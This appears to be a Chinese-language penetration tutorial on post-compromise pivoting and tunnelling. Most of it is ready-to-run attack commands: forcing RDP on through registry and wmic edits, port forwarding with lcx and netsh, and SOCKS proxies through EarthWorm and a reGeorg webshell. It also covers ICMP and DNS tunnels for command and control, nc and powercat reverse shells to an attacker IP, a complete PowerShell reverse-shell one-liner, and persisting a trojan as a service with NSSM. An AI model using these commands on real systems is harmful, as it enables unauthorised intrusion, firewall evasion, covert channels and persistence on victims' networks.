越过山丘,才发现无人等候。
端口转发:
用于目标机器对某一端口的访问进行了限制,主要就是可以将本机的端口或者是本机可以访问到的任意主机的端口转发到任意一台你需要访问的公网 IP 上。
端口映射:
就是将一个内网无法访问的端口映射到公网上的某个端口,进而进行攻击,例如最喜欢的3389!
内网转发:
主要用于在目标机器上做跳板,进而可以对内网进行攻击!
隐藏隧道:
由于防火墙存在,会检测对外连接情况,如发现异常就会阻断,隧道就是绕过防火墙,封装数据绕过屏蔽的通信方式
lcx.exe是一个端口转发映射工具, Windows版是lcx.exe,Linux版为portmap,主要就三个参数监听映射转向.
Windows情况下:
目标主机执行
lcx.exe -slave 公网主机ip 8888 目标ip 3389
公网主机监听,即可成功映射
lcx.exe –listen 8888 5555
如果3389被防火墙限制,可以-tran映射到其他端口,进行访问
lcx -tran 6666 目标ip 3389
LINUX情况下:
目标主机执行
./portmap -m 3 -h1 目标ip -p1 22 -h2 公网ip -p2 8888
公网主机监听,即可成功映射
./portmap -m 2 -p1 8888 -h2 公网ip -p2 12345
ps:如果目标机器没有开启3389?或者找不到远程桌面?在或者饿了?算了,先解决前两个问题吧!
开启3389端口:
通杀:
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
2003:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
2008:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
多版本win08 win03 win7 win2012 winxp 执行3条:
1.wmic /namespace:\root\cimv2 erminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
2.wmic /namespace:\root\cimv2 erminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
3.reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
开了远程桌面找不到?
简单暴力办法看看服务器有木有电话qq之类的,直接联系管理员问问,好好的3389端口非得换,不知道我找不到吗?
不闹了!容易挨打!
1、cmd执行:REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2、cmd执行:tasklist /svc查询TermService对应PID,然后在netstat -ano查询的PID对应的端口号
3、查找注册表:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\ Wds dpwd\Tds cp 中PortNumber的值
netsh(Network Shell) 是一个windows系统本身自带的工具,可以用来做端口转发。因为他可以把本地端口的任意一个TCP连接都可以被重定向到另一个端口,或远程计算机的任意端口上。
前提:
2003、xp系统需要安装IPV6(netsh interface ipv6 install),其他版本直接可以使用。
启动服务中的IPv6 Helper Service/IP Helper,如果不行可以关闭服务器或添加入栈规则(netsh firewall set opmode disable)
基本语句
添加
netsh interface portproxy add v4tov4 listenaddress=本地 listenport=port connectaddress=ip connectport=port
删除
netsh interface portproxy delete v4tov4 listenport=port
查看
netsh interface portproxy show all
举个栗子,如果想进行端口转发,可以把来自外部的 tcp 的26端口流量全部转发到内网的机器的3389端口上:
netsh advfirewall firewall add rule name="8888" dir=in action=allow protocol=TCP localport=26
netsh interface portproxy add v4tov4 listenaddress=ip listenport=26 connectaddress=10.0.0.1 connectport=3389
msf的meterpreter内置了端口转发功能,可以把内网的端口转发到本地。
portfwd add -l 8888 -p 3389 -r 172.16.86.153 #-l为本地监听端口,-p 目标端口,-r 目标ip
然后即可将转发目标主机的3389到本地的8888,直接连接即可rdesktop 127.1.1.0:8888
。
portfwd list/delete/flush 列表/删除/清空
内网转发也就是隧道技术它通常是将一个网络协议封装为另一个网络协议的payload。
主要三个模块:
正向代理 ssocksd、
反向代理 rcsocks,rssocks
端口转发 lcx_listen,lcx_slave,lcx_tran
首先简单画拓扑,利用服务器当作跳板访问探测内网。
比如想通过跳板机访问内网,也就是正向代理,就是常说的ss,
首先在服务器上监听本地端口./ew_for_linux64 -s ssocksd -l 1080
,
然后在kali攻击机上执行proxychains+命令即可(在/etc/proxychains.conf添加socks5 22.22.22.2 1080
)
在windows下直接设置全局代理即可(ie、Proxifier等)即可访问目标内网服务
有正即有反,如果无法直接连接目标主机,但是目标主机可以主动连接攻击机,这时可以利用ew进行反向代理,只不过方向变了,首先在攻击机上监听1080,将1111带你看流量转到1080端口# ew_for_Win.exe -s rcsocks -l 1080 -e 1111
,然后在目标机执行ew_for_Win.exe -s rssocks -d 88.88.88.8 -e 1111
相当于将流量转发到攻击机1111端口,攻击者机器通过proxychains或浏览器设置Socks5代理访问目标内网服务
regeorg主要是把内网服务器的端口通过http/https隧道转发到本机。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用webshell建立一个socks代理进行内网穿透,服务器必须支持aspx、php或jsp这些web程序中的一种。
根据服务器上传相应文件,进行代理,直接访问显示“Georg says, ‘All seems fine’”,代表成功。
然后执行,python reGeorgSocksProxy.py -p 1080 -u http://127.0.0.1/test/tunnel.nosocket.php
,proxifier设置全局代理1080即可,proxychains设置件/etc/proxychains.conf 添加socks5 127.0.0.1 1080即可
1 常见的隧道:
网络层:ipv6隧道、icmp隧道
传输层:tco隧道、udp隧道、端口转发
应用层:ssh隧道、http隧道、https隧道、DNS隧道
IPv6协议隧道方法 用于连接处于IPv4海洋中的各孤立的IPv6岛(将IPv4作为隧道载体,将IPv6报文整体封装在IPv4数据报文中,使IPv6报文整体封装在IPv4数据报文中,使IPv6报文能够穿过IPv4海洋,到达另一个IP)。此方法要求隧道两端的IPv6节点都是双栈节点(对于IPv4包和IPv6包都使用相同的地址),即也能够发送IPv4包。
IPv6隧道的工作过程如下:
1、节点A要向节点B发送IPv6报文,首先需要在节点A和节点B之间建立一条隧道
2、节点A将IPv6报文封装在以节点B的IPv4地址为目的地址,以自己的IPv4地址为源地址的IPv4报文中,并发往IPv4海洋
3、在IPv4海洋中,这个报文和普通IPv4报文一样,经过IPv4的转发到达节点B
4、节点B收到此报文之后,解除IPv4封装,取出其中的IPv6报文
配置隧道和自动隧道的主要区别在于:只有执行隧道功能的节点的IPv6地址是IPv4兼容地址时,自动隧道才是可行的。在为执行隧道功能的节点建立I P地址时,自动隧道方法无需进行配置;而配置隧道方法则要求隧道末端节点使用其他机制来获得其IPv4地址,例如采用D H C P、人工配置或其他IPv4的配置机制。
支持IPv6的隧道工具有socat、6tunnel、nt6tunnel等
icmp相当于其他协议更具有隐蔽性,因为防火墙会默认放此协议,当你拿到一台服务器,防火墙禁止外出流量,可以将数据封装在ping中带出,穿过防火墙限制。
git clone https://github.com/inquisb/icmpsh.git
sysctl -w net.ipv4.icmp_echo_ignore_all=1
./icmpsh_m.py 攻击者ip 目标ip>
icmpsh.exe -t 攻击者ip
git clone https://github.com/jamesbarlow/icmptunnel.git
make
sysctl -w net.ipv4.icmp_echo_ignore_all=1
然后监听tunnel,并且给隧道接口分配一个IP地址
./icmptunnel -s
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0
sysctl -w net.ipv4.icmp_echo_ignore_all=1
./icmptunnel 攻击ip
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0
通过ICMP连接SSH(前提目标需开启ssh),通过ICMP包建立了点对点隧道。攻击者的隧道IP是10.0.0.1,目标ip的隧道IP是10.0.0.2。传输的每个流量都是ICMP包,ICMP的payload就是封装的HTTP/IP包,所以走的都是icmp。
主要通过tcp和udp的网络连接读取数据等。
获取shell
正向shell:客户端想要获取服务器shell
客户端监听
nc -lvp 8888 -e /bin/sh
nc -lvp 8888 -e c:\windows\system32\cmd.exe
服务端反弹
nc 服务端ip 8888
反向shell:服务端想要获取客户端器shell
客户端监听
nc -lvp 8888
服务端反弹
nc ip 8888 -e /bin/sh
nc ip 8888 -e c:\windows\system32\cmd.exe
场景 :攻击机->防火墙-》服务器和数据库同一内网(攻击可以访问服务器,访问不了数据库)
攻击机监听
nc -lvp 8888
数据库
nv -lvp 8888 -e /bin/sh
web服务器
nc -v 攻击ip 8888 -c "nc -v 数据库ip 8888"
然后攻击机即可访问数据库。
PowerCat是NetCat的PowerShell形式,使用也一样
正向连接:Windows上反弹shell到kali
Kali:
nc -lvp 8888
Windows:
Import-Module .\powercat.ps1
powercat -c kaliip -p 8888 -e c:\windows\system32\cmd.exe
反向连接:Windows上反向连接到kali
Kali:
nc 目标ip 8888 -vv
Windows:
Import-Module .\powercat.ps1
powercat -lvp 8888 -e c:\windows\system32\cmd.exe
Windows之间互弹shell
w7监听:
Import-Module .\powercat.ps1
powercat -lvp 8888
w10连接:
Import-Module .\powercat.ps1
powercat -c 192.168.10.1 -p 8888 -ep
or
w7监听:
Import-Module .\powercat.ps1
powercat -lvp 8888
w10连接:
.\reverse.ps1
ps1=$client = New-Object System.Net.Sockets.TCPClient('192.168.10.1',8888);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Powercat传输文件
接收端:
Import-Module .\powercat.ps1
powercat -lvp 8888 -of test.txt
发送端:
Import-Module .\powercat.ps1
powercat -c 192.168.10.1 -p 8888 -i C:\Users\Desktop\test.txt -v
PowerCat进行DNS隧道通信
PowerCat也是一套基于DNS通信的协议,PowerCat的DNS通信是基于dnscat
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install
然后ruby dnscat2.rb ttpowercat.test -e open --no-cache
目标执行
powercat -c kaliip -p 53 -dns ttpowercat.test -e cmd.exe
然后kali执行 session -i 1即可
场景 :攻击机->防火墙-》w7和w10同一内网(攻击机以w7做跳板访问w10)
w10执行
powercat -lvp 8888 -e cmd.exe
w7执行
powercat -lvp 9999 -r tcp:ip(w10):8888
最后kali执行,即可访问
nc ip(w7) 9999 -vv
or
dns隧道
w7执行
powercat -l -p 9999 -r dns::ip(w7)::ttpowercat.test
kali执行
ruby dnscat2.rb ttpowercat.test -e open --no-cache
w10执行,即可获取sessions -i 1
powercat -c ip(本机) -p 9999 -v -e cmd.exe
常用参数
-C 压缩传输
-f 后台传输
-N 建立看不到具体会话的连接
-L 本地端口转发
-g 允许远程主机连接本地用于转发端口
-R 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口
-D 动态转发(socks代理)
-P 指定ssh端口
本地转发
将本地机(客户机)的某个端口转发到远端指定机器的指定端口.
场景:kali- 》防火墙-》web服务器-》内网服务器
目的:kali访问内网服务器3389端口
思路:以web服务器当跳板,将内网服务器3389端口映射到web服务器1234端口,然后访问1234即可访问内网3389
kai上执行
ssh -CfNg -L 1234:内网ip:3389 root@web服务器
然后kali即可访问3389了
远程转发
将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口
场景:kali- 》防火墙-》web服务器-》内网服务器
目的:kali访问内网服务器3389端口
思路:以web服务器当跳板,将kali5555端口的流量转发到内网服务器3389端口,访问5555即可访问内网服务器3389
web服务器上执行
ssh -CfNg -R 5555:内网ip:3389 root@kaliip
然后kali访问5555即可
动态转发
建立一个ssh加密的socks4/5代理通道,只要支持socks4/5的都可以使用该隧道通信
场景:kali- 》防火墙-》web服务器-》内网服务器80web服务
目的:kali通过浏览器访问内网服务器80web服务
思路:在kali建立以web服务器基础的sockets5隧道,然后浏览器设置sockets代理,即可访问内网web80web服务器
kai上执行
ssh -CfNg -D 1234 root@web服务器ip
然后挂上浏览器sockets代理即可访问。
ssh反向隧道
简单的来说就是在目标内网机上做到公网服务器的反向代理;然后在公网服务器做正向的代理实现内网到公网的转发
目标内网服务器:ssh -fCNR 192.168.119.129:8888:localhost:22 root@192.168.119.129 #将本机的22号端口的流量都转发给公网服务器8888端口
然后公网服务器执行
ssh -fCNL *:1111:localhost:8888 localhost #、将公网服务器的1111端口的流量都转发给服务器的8888端口
然后即可直接连接公网服务器1111端口,即使连接到目标内网服务器。ssh -p 1111 root@公网ip
这种方法不稳定,可以利用AutoSSH建立稳定SSH隧道
首先目标内网服务器和公网服务器apt install autossh
目标内网服务器生成ssh-keygen
公钥私钥,并ssh-copy-id root@ip
到公网服务器中,实现免密登陆
最后执行 autossh -M 5000 -NR 8888:localhost:22 root@xxx.xxx.xxx.xxx -p 22)
同理上即可
常见的regeorg、meterperter、tunna等,利用http隧道进行代理,在爆破3389等比较隐蔽,特征不明显。
DNS协议解析过程分为两种,迭代查询和递归查询(一次请求),DNS隧道是隐蔽信道的一种,通过将其他协议封装在DNS协议中进行通信。封装由客户端完成,将DNS流量还原成正常的流量由服务器完成。
常用的工具Dnscat2、iodine、Dns2tcp等
Dnscat2
dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道,解析常见的类型:A、CNAME、MX、TXT……类型,它的优点就是服务端会有一个命令行控制台,所有的指令都可以在该控制台内完成比如文件上传、下载、反弹Shell,
在服务端机器上,执行:
服务端
sudo ruby./dnscat2.rb abc.com --secret=123456 #1,自定义DNS传输的域名以及密码
sudo ruby./dnscat2.rb --dns server=127.0.0.1,port=5555,type=TXT --secret=123456 #2,监听本机5555
sudo ruby./dnscat2.rb abc.com --secret=123456 --security=open --no-cache #方式3
客户端
dnscat --secret=123456 abc.com #1
dnscat --dns server=dnscat2 server ip>,port=5555,type=TXT #2
客户端连上后,会提示:Session established!
服务端的控制台输入:windows,即可以看到一个客户端上线:
使用window -i 1,即可进入该通道;
常用的有:
quit (退出控制台)
kill <id> (中断通道)
set(设值,比如设置security=open)
windows(列举出所有的通道)
window -i <id>(连接某个通道)
连接通道后,:
clear(清屏)
delay(修改远程会话超时时间)
exec(执行远程机上的程序)
shell(得到一个反弹shell)
download/upload(两端之间上传下载文件)
supend(返回到上一层,等于快捷键ctrl+z)
客户端:sudo iodine -f -r xxx.com -M 200 -P 123456 //xxx.com为自定义DNS传输的主域名
服务端:
sudo iodine -P 123456 -f -r -T TXT <dns服务商,不写就直连> abc.com
-r 强制在任何情况下使用DNS隧道
-f 将使客户端保持在前台运行
-t 使用的DNS类型
-M 表示最大的上传域名长度
比如利用NSSM,封装某一木马软件exe封装为系统服务,然后服务器设置自动启动即可。
删除利用nssm remove
余生很长,请多指教。